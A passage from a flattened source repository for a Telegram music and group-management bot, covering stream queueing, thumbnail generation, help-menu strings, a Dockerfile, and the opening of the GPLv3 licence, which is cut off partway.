user_id, "video" if video else "audio", ) position = len(db.get(chat_id)) - 1 button = aq_markup(_, chat_id) await app.send_message( chat_id=original_chat_id, text=_["queue_4"].format(position, title[:18], duration_min, user_name), reply_markup=InlineKeyboardMarkup(button), ) else: if not forceplay: db[chat_id] = [] n, file_path = await YouTube.video(link) if n == 0: raise AssistantErr(_["str_3"]) await Hotty.join_call( chat_id, original_chat_id, file_path, video=status, image=thumbnail if thumbnail else None, ) await put_queue( chat_id, original_chat_id, f"live_{vidid}", title, duration_min, user_name, vidid, user_id, "video" if video else "audio", forceplay=forceplay, ) img = await get_thumb(vidid) button = stream_markup2(_, chat_id) run = await app.send_photo( original_chat_id, photo=img, caption=_["stream_1"].format( f"https://t.me/{app.username}?start=info_{vidid}", title[:23], duration_min, user_name, ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" elif streamtype == "index": link = result title = "ɪɴᴅᴇx ᴏʀ ᴍ3ᴜ8 ʟɪɴᴋ" duration_min = "00:00" if await is_active_chat(chat_id): await put_queue_index( chat_id, original_chat_id, "index_url", title, duration_min, user_name, link, "video" if video else "audio", ) position = len(db.get(chat_id)) - 1 button = aq_markup(_, chat_id) await mystic.edit_text( text=_["queue_4"].format(position, title[:27], duration_min, user_name), reply_markup=InlineKeyboardMarkup(button), ) else: if not forceplay: db[chat_id] = [] await Hotty.join_call( chat_id, original_chat_id, link, video=True if video else None, ) await put_queue_index( chat_id, original_chat_id, "index_url", title, duration_min, user_name, link, "video" if video else "audio", forceplay=forceplay, ) button = stream_markup2(_, chat_id) run = await app.send_photo( original_chat_id, photo=config.STREAM_IMG_URL, caption=_["stream_2"].format(user_name), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" await mystic.delete() # Function to get thumbnail by video ID async def get_thumb(videoid): try: # Search for the video using video ID query = f"https://www.youtube.com/watch?v={videoid}" results = VideosSearch(query, limit=1) for result in (await results.next())["result"]: thumbnail = result["thumbnails"][0]["url"].split("?")[0] return thumbnail except Exception as e: return config.YOUTUBE_IMG_URL async def get_thumb(vidid): try: # Search for the video using video ID query = f"https://www.youtube.com/watch?v={vidid}" results = VideosSearch(query, limit=1) for result in (await results.next())["result"]: thumbnail = result["thumbnails"][0]["url"].split("?")[0] return thumbnail except Exception as e: return config.YOUTUBE_IMG_URL ================================================ FILE: BrandrdXMusic/utils/stuffs/_init.py_ ================================================ ================================================ FILE: BrandrdXMusic/utils/stuffs/buttons.py ================================================ from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, Message from pyrogram import Client, filters, enums class BUTTONS(object): MBUTTON = [[InlineKeyboardButton("CʜᴀᴛGPT", callback_data="mplus HELP_ChatGPT"),InlineKeyboardButton("Hɪsᴛᴏʀʏ", callback_data="mplus HELP_History"),InlineKeyboardButton("Rᴇᴇʟ", callback_data="mplus HELP_Reel")], [InlineKeyboardButton("Tᴀɢ-Aʟʟ", callback_data="mplus HELP_TagAll"), InlineKeyboardButton("Iɴꜰᴏ", callback_data="mplus HELP_Info"),InlineKeyboardButton("Exᴛʀᴀ", callback_data="mplus HELP_Extra")], [InlineKeyboardButton("ᴄᴏᴜᴘʟᴇꜱ", callback_data="mplus HELP_Couples"), InlineKeyboardButton("Aᴄᴛɪᴏɴ", callback_data="mplus HELP_Action"),InlineKeyboardButton("Sᴇᴀʀᴄʜ", callback_data="mplus HELP_Search")], [InlineKeyboardButton("ғᴏɴᴛ", callback_data="mplus HELP_Font"), InlineKeyboardButton("Bᴏᴛs", callback_data="mplus HELP_Bots"),InlineKeyboardButton("Ⓣ-ɢʀᴀᴘʜ", callback_data="mplus HELP_TG")], [InlineKeyboardButton("Sᴏᴜʀᴄᴇ", callback_data="mplus HELP_Source"), InlineKeyboardButton("Tʀᴜᴛʜ-ᗪᴀʀᴇ", callback_data="mplus HELP_TD"),InlineKeyboardButton("Qᴜɪᴢ", callback_data="mplus HELP_Quiz")], [InlineKeyboardButton("ᴛᴛs", callback_data="mplus HELP_TTS"), InlineKeyboardButton("Rᴀᴅɪᴏ", callback_data="mplus HELP_Radio"),InlineKeyboardButton("ǫᴜᴏᴛʟʏ", callback_data="mplus HELP_Q")], [InlineKeyboardButton("◁", callback_data=f"settings_back_helper"), InlineKeyboardButton("↻ ʙᴀᴄᴋ ↻", callback_data=f"mbot_cb"), InlineKeyboardButton("▷", callback_data=f"managebot123 settings_back_helper"), ]] ================================================ FILE: BrandrdXMusic/utils/stuffs/helper.py ================================================ # helper for strings class Helper(object): HELP_M = '''ᴄʜᴏᴏsᴇ ᴛʜᴇ ᴄᴀᴛᴇɢᴏʀʏ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ ɢᴇᴛ ʜᴇʟᴩ. ᴀsᴋ ʏᴏᴜʀ ᴅᴏᴜʙᴛs ᴀᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ᴀʟʟ ᴄᴏᴍᴍᴀɴᴅs ᴄᴀɴ ʙᴇ ᴜsᴇᴅ ᴡɪᴛʜ : /''' HELP_ChatGPT = '''CʜᴀᴛGPT CʜᴀᴛGPT ᴄᴏᴍᴍᴀɴᴅꜱ: /ask ➠ ǫᴜᴇʀɪᴇs ᴛʜᴇ ᴀɪ ᴍᴏᴅᴇʟ ᴛᴏ ɢᴇᴛ ᴀ ʀᴇsᴘᴏɴsᴇ ᴛᴏ ʏᴏᴜʀ ǫᴜᴇsᴛɪᴏɴ. ''' HELP_Reel = '''Rᴇᴇʟ Rᴇᴇʟ ᴄᴏᴍᴍᴀɴᴅꜱ: /ig [URL] ➠ ᴅᴏᴡɴʟᴏᴀᴅ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟs. Pʀᴏᴠɪᴅᴇ ᴛʜᴇ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ URL ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ. /instagram [URL] ➠ ᴅᴏᴡɴʟᴏᴀᴅ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟs. Pʀᴏᴠɪᴅᴇ ᴛʜᴇ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ URL ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ. /reel [URL] ➠ ᴅᴏᴡɴʟᴏᴀᴅ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟs. Pʀᴏᴠɪᴅᴇ ᴛʜᴇ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ URL ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ. ''' HELP_TagAll = '''Tᴀɢ Tᴀɢ ᴄᴏᴍᴍᴀɴᴅꜱ: ✿ ᴄʜᴏᴏsᴇ ᴛᴀɢ ɪɴ ʏᴏᴜʀ ᴄʜᴀᴛ ✿ ๏ /gmtag ➛ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛᴀɢ sᴛᴏᴘ ⇴ /gmstop ๏ /gntag ➛ ɢᴏᴏᴅ ɴɪɢʜᴛ ᴛᴀɢ sᴛᴏᴘ ⇴ /gnstop ๏ /tagall ➛ ʀᴀɴᴅᴏᴍ ᴍᴇssᴀɢᴇ ᴛᴀɢ sᴛᴏᴘ ⇴ /tagoff /tagstop ๏ /hitag ➛ ʀᴀɴᴅᴏᴍ ʜɪɴᴅɪ ᴍᴇssᴀɢᴇ ᴛᴀɢ sᴛᴏᴘ ⇴/histop ๏ /shayari ➛ ʀᴀɴᴅᴏᴍ sʜᴀʏᴀʀɪ ᴛᴀɢ sᴛᴏᴘ ⇴ /shstop ๏ /utag ➛ ᴀɴʏ ᴡʀɪᴛᴛᴇɴ ᴛᴇxᴛ ᴛᴀɢ sᴛᴏᴘ ⇴ /cancel ''' HELP_Info = '''Iɴꜰᴏ Iɴꜰᴏ ᴄᴏᴍᴍᴀɴᴅꜱ: /id : ɢᴇᴛ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ɢʀᴏᴜᴘ ɪᴅ. ɪғ ᴜsᴇᴅ ʙʏ ʀᴇᴘʟʏɪɴɢ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ, ɢᴇᴛs ᴛʜᴀᴛ ᴜsᴇʀ's ɪᴅ. /info : ɢᴇᴛ ɪɴғᴏʀᴍᴀᴛɪᴏɴ ᴀʙᴏᴜᴛ ᴀ ᴜsᴇʀ. ''' HELP_History = '''Hɪsᴛᴏʀʏ Hɪsᴛᴏʀʏ ᴄᴏᴍᴍᴀɴᴅꜱ: ᴛʜᴇsᴇ ᴀʀᴇ ᴛʜᴇ ᴀᴠᴀɪʟᴀʙʟᴇ ɢʀᴏᴜᴘ ᴍᴀɴᴀɢᴇᴍᴇɴᴛ ᴄᴏᴍᴍᴀɴᴅs: ⦿ /sɢ ᴏʀ /Hɪsᴛᴏʀʏ Dᴇsᴄʀɪᴘᴛɪᴏɴ: ⦿ Fᴇᴛᴄʜᴇs ᴀ ʀᴀɴᴅᴏᴍ ᴍᴇssᴀɢᴇ ғʀᴏᴍ ᴀ ᴜsᴇʀ's ᴍᴇssᴀɢᴇ ʜɪsᴛᴏʀʏ. Usᴀɢᴇ: ⦿ /sɢ [ᴜsᴇʀɴᴀᴍᴇ/ɪᴅ/ʀᴇᴘʏ] Dᴇᴛᴀɪs: ⦿ Fᴇᴛᴄʜᴇs ᴀ ʀᴀɴᴅᴏᴍ ᴍᴇssᴀɢᴇ ғʀᴏᴍ ᴛʜᴇ ᴍᴇssᴀɢᴇ ʜɪsᴛᴏʀʏ ᴏғ ᴛʜᴇ sᴘᴇᴄɪғɪᴇᴅ ᴜsᴇʀ. ⦿ Cᴀɴ ʙᴇ ᴜsᴇᴅ ʙʏ ᴘʀᴏᴠɪᴅɪɴɢ ᴀ ᴜsᴇʀɴᴀᴍᴇ, ᴜsᴇʀ ID, ᴏʀ ʀᴇᴘʏɪɴɢ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ ғʀᴏᴍ ᴛʜᴇ ᴜsᴇʀ. ⦿ Aᴄᴄᴇssɪʙᴇ ᴏɴʏ ʙʏ ᴛʜᴇ ʙᴏᴛ's ᴀssɪsᴛᴀɴᴛs. Exᴀᴍᴘᴇs: ⦿ /sɢ ᴜsᴇʀɴᴀᴍᴇ` ⦿ /sɢ ᴜsᴇʀ_ɪᴅ` ⦿ /sɢ [ʀᴇᴘʏ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ]` ''' HELP_Couples = '''ᴄᴏᴜᴘʟᴇꜱ ᴄᴏᴜᴘʟᴇꜱ ᴄᴏᴍᴍᴀɴᴅꜱ: /couples - ᴄʜᴏᴏsᴇ 2 ᴜsᴇʀs ᴀɴᴅ sᴇɴᴅ ᴛʜᴇɪʀ ɴᴀᴍᴇ ᴀs ᴄᴏᴜᴘʟᴇs ɪɴ ʏᴏᴜʀ ᴄʜᴀᴛ. ''' HELP_Extra = '''Exᴛʀᴀ Exᴛʀᴀ ᴄᴏᴍᴍᴀɴᴅꜱ: ⦿ /tgm ➠ ᴜᴘʟᴏᴀᴅs ᴀ ᴘʜᴏᴛᴏ (ᴜɴᴅᴇʀ 𝟻ᴍʙ) ᴛᴏ ᴛʜᴇ ᴄʟᴏᴜᴅ ᴀɴᴅ ɢɪᴠᴇs ᴀ ʟɪɴᴋ. ⦿ /paste ➠ ᴜᴘʟᴏᴀᴅs ᴀ ᴛᴇxᴛ sɴɪᴘᴘᴇᴛ ᴛᴏ ᴛʜᴇ ᴄʟᴏᴜᴅ ᴀɴᴅ ɢɪᴠᴇs ᴀ ʟɪɴᴋ. ⦿ /tr ➠ ᴛʀᴀɴsʟᴀᴛᴇs ᴛᴇxᴛ. ''' HELP_Action = '''Aᴄᴛɪᴏɴ Aᴄᴛɪᴏɴ ᴄᴏᴍᴍᴀɴᴅꜱ: » ᴀᴠᴀɪʟᴀʙʟᴇ ᴄᴏᴍᴍᴀɴᴅs ꜰᴏʀ Bᴀɴs & Mᴜᴛᴇ : ❍ /kickme: kicks the user who issued the command Admins only: ❍ /ban : bans a user. (via handle, or reply) ❍ /sban : Silently ban a user. Deletes command, Replied message and doesn't reply. (via handle, or reply) ❍ /tban x(m/h/d): bans a user for x time. (via handle, or reply). m = minutes, h = hours, d = days. ❍ /unban : unbans a user. (via handle, or reply) ❍ /kick : kicks a user out of the group, (via handle, or reply) ❍ /mute : silences a user. Can also be used as a reply, muting the replied to user. ❍ /tmute x(m/h/d): mutes a user for x time. (via handle, or reply). m = minutes, h = hours, d = days. ❍ /unmute : unmutes a user. Can also be used as a reply, muting the replied to user. __ 𝐒ᴘᴇᴄɪᴀʟ 𝐂ᴏᴍᴍᴀɴᴅs 𝐒ᴜᴘᴘᴏʀᴛ 𝐀ʟʟ 𝐄xᴀᴍᴘʟᴇ - Bɾαɳԃҽԃ Ⴆαɳ Ⴆɾαɳԃҽԃ ɱυƚҽ Ⴆɾαɳԃҽԃ ρɾσɱσƚҽ ..... 𝚎𝚝𝚌 ''' HELP_Search = '''Sᴇᴀʀᴄʜ Sᴇᴀʀᴄʜ ᴄᴏᴍᴍᴀɴᴅꜱ: • /google : Search the google for the given query. • /image (/imgs) : Get the images regarding to your query Example: /google pyrogram: return top 5 reuslts. ''' HELP_Font = '''ғᴏɴᴛ ʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ ғᴏɴᴛ ᴍᴏᴅᴜʟᴇ: ғᴏɴᴛ ᴍᴏᴅᴜʟᴇ: ʙʏ ᴜsɪɴɢ ᴛʜɪs ᴍᴏᴅᴜʟᴇ ʏᴏᴜ ᴄᴀɴ ᴄʜᴀɴɢᴇ ғᴏɴᴛs ᴏғ ᴀɴʏ ᴛᴇxᴛ! ◌ /font [ᴛᴇxᴛ] ''' HELP_Bots = '''Bᴏᴛs ʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ Bᴏᴛs ᴍᴏᴅᴜʟᴇ: ɢᴀᴍᴇs ᴍᴏᴅᴜʟᴇ: ◌ /bots - ɢᴇᴛ ᴀ ʟɪsᴛ ᴏғ ʙᴏᴛs ɪɴ ᴛʜᴇ ɢʀᴏᴜᴘ. ''' HELP_TG = '''Ⓣ-ɢʀᴀᴘʜ Ⓣ-ɢʀᴀᴘʜ ᴄᴏᴍᴍᴀɴᴅꜱ: ᴄʀᴇᴀᴛᴇ ᴀ ᴛᴇʟᴇɢʀᴀᴘʜ ʟɪɴᴋ ᴀɴʏ ᴍᴇᴅɪᴀ! ◌ /tgm [ʀᴇᴘʟʏ ᴛᴏ ᴀɴʏ ᴍᴇᴅɪᴀ] ◌ /tgt [ʀᴇᴘʟʏ ᴛᴏ ᴀɴʏ ᴍᴇᴅɪᴀ] ''' HELP_Source = '''Sᴏᴜʀᴄᴇ Tʜɪs ᴍᴏᴅᴜᴇ ᴘʀᴏᴠɪᴅᴇs ᴜᴛɪɪᴛʏ ᴄᴏᴍᴍᴀɴᴅs ғᴏʀ ᴜsᴇʀs ᴛᴏ ɪɴᴛᴇʀᴀᴄᴛ ᴡɪᴛʜ ᴛʜᴇ ʙᴏᴛ.: Sᴏᴜʀᴄᴇ ᴍᴏᴅᴜʟᴇ: ◌ /ʀᴇᴘᴏ : Gᴇᴛ ᴛʜᴇ ɪɴᴋ ᴛᴏ ᴛʜᴇ ʙᴏᴛ's sᴏᴜʀᴄᴇ ᴄᴏᴅᴇ ʀᴇᴘᴏsɪᴛᴏʀʏ. ''' HELP_TD = '''Tʀᴜᴛʜ-ᗪᴀʀᴇ ʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ Tʀᴜᴛʜ-ᗪᴀʀᴇ ᴍᴏᴅᴜʟᴇ: ᴛʀᴜᴛʜ ᴀɴᴅ ᴅᴀʀᴇ ◌ /truth : sᴇɴᴅs ᴀ ʀᴀɴᴅᴏᴍ ᴛʀᴜᴛʜ sᴛʀɪɴɢ. ◌ /dare : sᴇɴᴅs ᴀ ʀᴀɴᴅᴏᴍ ᴅᴀʀᴇ sᴛʀɪɴɢ. ''' HELP_Quiz = '''Qᴜɪᴢ ʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ Qᴜɪᴢ ᴍᴏᴅᴜʟᴇ: Qᴜɪᴢ ◌ /quiz - ᴛᴏ ɢᴇᴛ ᴀɴ ʀᴀɴᴅᴏᴍ ǫᴜɪᴢ ''' HELP_TTS = '''ᴛᴛs ʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ ᴛᴛs ᴍᴏᴅᴜʟᴇ: ❀ ᴛᴛs ◌ /tts : [ᴛᴇxᴛ] ◌ ᴜsᴀɢᴇ ➛ ᴛᴇxᴛ ᴛᴏ ᴀᴜᴅɪᴏ ''' HELP_Radio = '''Radio ʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ Radio ᴍᴏᴅᴜʟᴇ: ◌ /radio - ᴛᴏ ᴘʟᴀʏ ʀᴀᴅɪᴏ ɪɴ ᴛʜᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ. ''' HELP_Q = '''ǫᴜᴏᴛʟʏ ʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ ǫᴜᴏᴛʟʏ ᴍᴏᴅᴜʟᴇ: ◌ /q : ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ᴛʜᴇ ᴍᴇssᴀɢᴇ ◌ /q r : ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ᴛʜᴇ ᴍᴇssᴀɢᴇ ᴡɪᴛʜ ʀᴇᴘʟʏ ''' fullpromote = { 'can_change_info': True, 'can_post_messages': True, 'can_edit_messages': True, 'can_delete_messages': True, 'can_invite_users': True, 'can_restrict_members': True, 'can_pin_messages': True, 'can_promote_members': True, 'can_manage_chat': True, } promoteuser = { 'can_change_info': False, 'can_post_messages': True, 'can_edit_messages': True, 'can_delete_messages': False, 'can_invite_users': True, 'can_restrict_members': False, 'can_pin_messages': False, 'can_promote_members': False, 'can_manage_chat': True, } ================================================ FILE: BrandrdXMusic/utils/sys.py ================================================ import time import psutil from BrandrdXMusic.misc import _boot_ from BrandrdXMusic.utils.formatters import get_readable_time async def bot_sys_stats(): bot_uptime = int(time.time() - _boot_) UP = f"{get_readable_time(bot_uptime)}" CPU = f"{psutil.cpu_percent(interval=0.5)}%" RAM = f"{psutil.virtual_memory().percent}%" DISK = f"{psutil.disk_usage('/').percent}%" return UP, CPU, RAM, DISK async def bot_up_time(): bot_up_time = int(time.time() - _boot_) BOT_UP = f"{get_readable_time(bot_up_time)}" return BOT_UP ================================================ FILE: BrandrdXMusic/utils/thumbnails.py ================================================ import os import re import random import aiofiles import aiohttp from PIL import Image, ImageDraw, ImageEnhance from PIL import ImageFilter, ImageFont, ImageOps from unidecode import unidecode from youtubesearchpython.__future__ import VideosSearch from BrandrdXMusic import app from config import YOUTUBE_IMG_URL def changeImageSize(maxWidth, maxHeight, image): widthRatio = maxWidth / image.size[0] heightRatio = maxHeight / image.size[1] newWidth = int(widthRatio * image.size[0]) newHeight = int(heightRatio * image.size[1]) newImage = image.resize((newWidth, newHeight)) return newImage def clear(text): list = text.split(" ") title = "" for i in list: if len(title) + len(i) < 60: title += " " + i return title.strip() async def get_thumb(videoid): if os.path.isfile(f"cache/{videoid}.png"): return f"cache/{videoid}.png" url = f"https://www.youtube.com/watch?v={videoid}" try: results = VideosSearch(url, limit=1) for result in (await results.next())["result"]: try: title = result["title"] title = re.sub("\W+", " ", title) title = title.title() except: title = "Unsupported Title" try: duration = result["duration"] except: duration = "Unknown Mins" thumbnail = result["thumbnails"][0]["url"].split("?")[0] try: views = result["viewCount"]["short"] except: views = "Unknown Views" try: channel = result["channel"]["name"] except: channel = "Unknown Channel" async with aiohttp.ClientSession() as session: async with session.get(thumbnail) as resp: if resp.status == 200: f = await aiofiles.open(f"cache/thumb{videoid}.png", mode="wb") await f.write(await resp.read()) await f.close() colors = ["white", "red", "orange", "yellow", "green", "cyan", "azure", "blue", "violet", "magenta", "pink"] border = random.choice(colors) youtube = Image.open(f"cache/thumb{videoid}.png") image1 = changeImageSize(1280, 720, youtube) bg_bright = ImageEnhance.Brightness(image1) bg_logo = bg_bright.enhance(1.1) bg_contra = ImageEnhance.Contrast(bg_logo) bg_logo = bg_contra.enhance(1.1) logox = ImageOps.expand(bg_logo, border=7, fill=f"{border}") background = changeImageSize(1280, 720, logox) # image2 = image1.convert("RGBA") # background = image2.filter(filter=ImageFilter.BoxBlur(1)) #enhancer = ImageEnhance.Brightness(background) #background = enhancer.enhance(0.9) #draw = ImageDraw.Draw(background) #arial = ImageFont.truetype("BrandrdXMusic/assets/font2.ttf", 30) #font = ImageFont.truetype("BrandrdXMusic/assets/font.ttf", 30) # draw.text((1110, 8), unidecode(app.name), fill="white", font=arial) """ draw.text( (1, 1), f"{channel} | {views[:23]}", (1, 1, 1), font=arial, ) draw.text( (1, 1), clear(title), (1, 1, 1), font=font, ) draw.line( [(1, 1), (1, 1)], fill="white", width=1, joint="curve", ) draw.ellipse( [(1, 1), (2, 1)], outline="white", fill="white", width=1, ) draw.text( (1, 1), "00:00", (1, 1, 1), font=arial, ) draw.text( (1, 1), f"{duration[:23]}", (1, 1, 1), font=arial, ) """ try: os.remove(f"cache/thumb{videoid}.png") except: pass background.save(f"cache/{videoid}.png") return f"cache/{videoid}.png" except Exception as e: print(e) return YOUTUBE_IMG_URL ================================================ FILE: Dockerfile ================================================ FROM python:3.10-slim-bullseye RUN apt-get update \ && apt-get install -y --no-install-recommends ffmpeg \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* COPY . /app/ WORKDIR /app/ RUN python3 -m pip install --upgrade pip setuptools RUN apt-get update && apt-get install -y git RUN pip3 install --no-cache-dir --upgrade --requirement requirements.txt CMD python3 -m BrandrdXMusic ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide 